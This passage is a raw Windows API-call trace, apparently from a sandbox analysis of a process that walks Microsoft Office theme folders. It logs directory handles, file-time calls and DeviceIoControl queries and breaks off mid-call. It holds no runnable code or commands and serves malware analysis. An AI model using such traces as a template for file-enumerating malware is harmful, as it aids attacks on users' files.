lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.759] GetLastError () returned 0x12 [0052.759] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0052.759] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0052.759] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.759] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0052.759] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0052.759] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.760] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.760] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.760] GetLastError () returned 0x12 [0052.760] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0052.760] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0052.760] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0052.760] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.760] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0052.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0052.819] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0052.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef8cd8 [0052.824] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef8cd8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef8cd8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0052.826] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef8cd8) returned 1 [0052.827] NtClose (Handle=0x170) returned 0x0 [0052.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0052.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0052.837] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0052.841] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.843] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0052.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0052.852] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1910 [0052.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7008 [0052.855] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.856] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0052.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.858] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.860] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1930 [0052.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7110 [0052.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x700) returned 0xef8cd8 [0052.866] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6610) returned 1 [0052.867] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.868] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.870] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.872] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1950 [0052.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7218 [0052.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.876] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.879] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.883] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1970 [0052.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7320 [0052.887] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.888] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.890] GetLastError () returned 0x12 [0052.890] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0052.894] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0052.896] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.897] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0052.898] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0052.899] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.899] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.900] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.902] GetLastError () returned 0x12 [0052.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef5ac8) returned 1 [0052.903] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0052.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef59c0) returned 1 [0052.905] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.906] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0052.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0052.918] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0052.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef93e0 [0052.924] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef93e0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef93e0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0052.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef93e0) returned 1 [0052.926] NtClose (Handle=0x17c) returned 0x0 [0052.928] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0052.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0052.935] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0052.938] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.940] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0052.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.943] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0052.947] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1990 [0052.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7428 [0052.950] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x300000, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0052.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.954] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef19b0 [0052.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef7530 [0053.378] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.378] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x300000, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.378] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.378] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.378] RtlAllocateHeap 